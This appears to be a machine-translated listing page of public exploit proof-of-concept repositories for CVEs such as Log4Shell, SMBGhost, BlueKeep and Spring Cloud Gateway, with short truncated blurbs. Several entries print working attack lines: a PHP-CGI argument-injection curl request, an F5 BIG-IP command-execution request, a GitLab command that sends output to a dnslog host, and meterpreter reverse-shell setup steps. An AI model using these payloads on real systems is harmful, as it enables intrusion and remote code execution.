CVE-2022-22947-Spring-Cloud-Gateway

Spring Cloud Gateway Remote-Code-Ausführungs-Schwachstelle Diese Schwachstelle stellt ein hohes Risiko für den Produktionsbetrieb dar. Führen Sie keine unbefugten Scans durch. Verwendungshinweise root@kitploit: ╰─ ./CVE-2022-22947 -h ─╯ Befehl ausführen: ./CVE-2022-22947 -u http://127.0.0.1:8080 ...

CVE-2021-44228-Apache-Log4j-Rce

CVE-2021-44228Apache Log4j Remotecodeausführung） alle log4j-core-Versionen =2.0-beta9 und =2.14.1 Die 1.x-Versionen haben andere Schwachstellen; wir empfehlen, auf die neueste Version zu aktualisieren. Sicherheitshinweise / Bulletins im Zusammenhang mit Log4Shell CVE-2021-44228 Verwendung: Laden...

CVE-2020-0796-RCE-POC

CVE-2020-0796 Proof of Concept di Esecuzione Remota di Codice c 2020 ZecOps, Inc. - https://www.zecops.com - Trova gli Errori degli Attaccanti Proof of Concept di Esecuzione Remota di Codice per CVE-2020-0796 / "SMBGhost" Risultato atteso: Reverse shell con accesso di sistema. Inteso solo per...

react2shell-poc-CVE-2025-55182

React2Shell PoC CVE-2025-55182 Um script de Prova de Conceito PoC para React2Shell CVE-2025-55182, uma vulnerabilidade crítica de execução remota de código RCE que afeta aplicações Next.js que usam Server Actions. !WARNING Aviso Legal : Esta ferramenta é apenas para fins educacionais e de testes...

CVE-2022-29078

CVE-2022-29078 | EJS SSTI → RCE WhiteHat School 4ª coorte classe 32 - Sangbeom Woo @taka3636 Sommario La vulnerabilità di server-side template injection SSTI in EJS , ad esempio Hello . Internamente, EJS compila la stringa del template in una funzione JavaScript e la esegue per generare l'HTML...

CVE-2024-4577

Solo per ricerca PoC per XAMPP predefinito root@kitploit: curl -v -d "" http://127.0.0.1/php-cgi/php-cgi.exe/?%add+allowurlinclude%3Don+-d+autoprependfile%3Dphp%3A//input+-d+cgi.forceredirect%3D0...

cve-2022-36804

PoC de RCE no Atlassian Bitbucket - CVE-2022-36804 Este repositório contém um script PoC simples para a vulnerabilidade de execução remota de código no Atlassian Bitbucket. Você pode simplesmente executar este script com os seguintes comandos: root@kitploit: echo 'bitbucket.redacted.com' | python...

CVE-2021-22205

CVE-2021-22205 Versioni interessate: Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 Utilizzo root@kitploit: python3 CVE-2021-22205.py target "curl \whoami.dnslog" Ottieni token csrf: Ottieni il token csrf tramite /users/signin, poi usa il precedente PoC di CVE-2021-22205 per creare...

cve-2019-0708_bluekeep_rce

Esegui msfconsole meterpreter/multi/handler in ascolto su 192.168.116.133:6000 2. cd rdesktop-1.5.0 && make 3. Modifica config, configura l'IP e la porta per la connessione di ritorno 192.168.116.133 6000 4. Esegui ./heapspray 192.168.116.134 134 è l'indirizzo di XP, memoria = 2 GB 5. msfconsole...

CVE-2019-6340

CVE-2019-6340 RCE REST di Drupal8, SA-CORE-2019-003 0x01 docker search CVE-2019-6340 root@kitploit: NAME DESCRIPTION STARS OFFICIAL AUTOMATED knqyf263/cve-2019-6340 Environment for CVE-2019-6340 Drupal 0 cved/cve-2019-6340 cve-2019-6340 0 0x02 docker pull knqyf263/cve-2019-6340 root@kitploit: Usi...

Exploiting-CVE-2021-44228-Log4Shell-in-a-Banking-Environment

Sfruttamento di CVE-2021-44228 Log4Shell in un Ambiente Bancario Obiettivo: Dimostrare lo sfruttamento della vulnerabilità Log4Shell CVE-2021-44228 all'interno di un ambiente applicativo bancario simulato. Ambito: 1: Configurare un'applicazione bancaria vulnerabile utilizzando Apache Log4j...

CVE-2019-16278

Exploit per CVE-2019-16278 e CVE-2019-16279 Nostromo httpd è soggetto a 2 vulnerabilità critiche per versioni &1 Questo bug è dovuto a una correzione incompleta per CVE-2011-0751. Possiamo aggirare un controllo per che ci permette di eseguire con argomenti arbitrari...

CVE-2022-1388_PoC

Sfruttamento RCE su F5 BIG-IP CVE-2022-1388 POST 1: root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " Comando curl: root@kitploit: $ curl -i -s -k -X...

cve-2024-6387-poc

cve-2024-6387-poc una condizione di gara nel gestore di segnale nel server di OpenSSH sshd 7etsuo Descrizione Un exploit per CVE-2024-6387, che sfrutta una condizione di gara nel gestore di segnale nel server di OpenSSH sshd su sistemi Linux basati su glibc. La vulnerabilità consente l'esecuzione...

Spring4ShellPoC

Spring4ShellPoC Spring4Shell PoC CVE-2022-22965 Nur zum Spielen mit dem Exploit. Modifiziert nach der guten Arbeit von BobTheShopLifter, https://github.com/BobTheShoplifter/Spring4Shell-POC und TryHackMe, https://tryhackme.com/room/spring4shell Nur ein paar kleine Anpassungen. Einige zusätzliche...

CVE-2022-22947_Rce_Exp

CVE-2022-22947RceExp Spring Cloud Gateway - Exp della vulnerabilità di esecuzione remota di codice SpringCloudGatewayRCEExp-CVE-2022-22947...

PCmanBoF

PCman FTP Server Buffer-Overflow und Remote Code Execution CVE-2013-4730 Ein sehr einfacher Buffer-Overflow, der CVE-2013-4730 gegen PCmans FTP-Server v.2.0.7 verwendet. Wie es funktioniert? Dieser einfache BoF überschreibt den Puffer und führt den Shellcode aus, der eine Verbindung zurück aufbau...

exploit-CVE-2016-9920

Roundcube 1.0.0 = 1.2.2 Remotecodeausführung Roundcube ist eine weit verbreitete Open-Source-Webmail-Software, die von vielen Organisationen und Unternehmen auf der ganzen Welt genutzt wird. Der Spiegel auf SourceForge beispielsweise zählt allein in den letzten 12 Monaten mehr als 260.000...

exploit-CVE-2015-3306

ProFTPd 1.3.5 - modcopy Remote-Befehlsausführung ProFTPD ist ein hochgradig konfigurierbarer FTP-Daemon für Unix und Unix-ähnliche Betriebssysteme. ProFTPD entstand aus dem Wunsch nach einem sicheren und konfigurierbaren FTP-Server. Es wurde von einer großen Bewunderung für den Apache-Webserver...

exploit-CVE-2015-1427

Elasticsearch 1.4.0 1.4.2 Esecuzione di codice remoto Elasticsearch è un motore di ricerca e analisi distribuito e RESTful in grado di risolvere un numero crescente di casi d'uso. Come cuore dello Elastic Stack, memorizza centralmente i tuoi dati così da poter scoprire l'atteso e rivelare...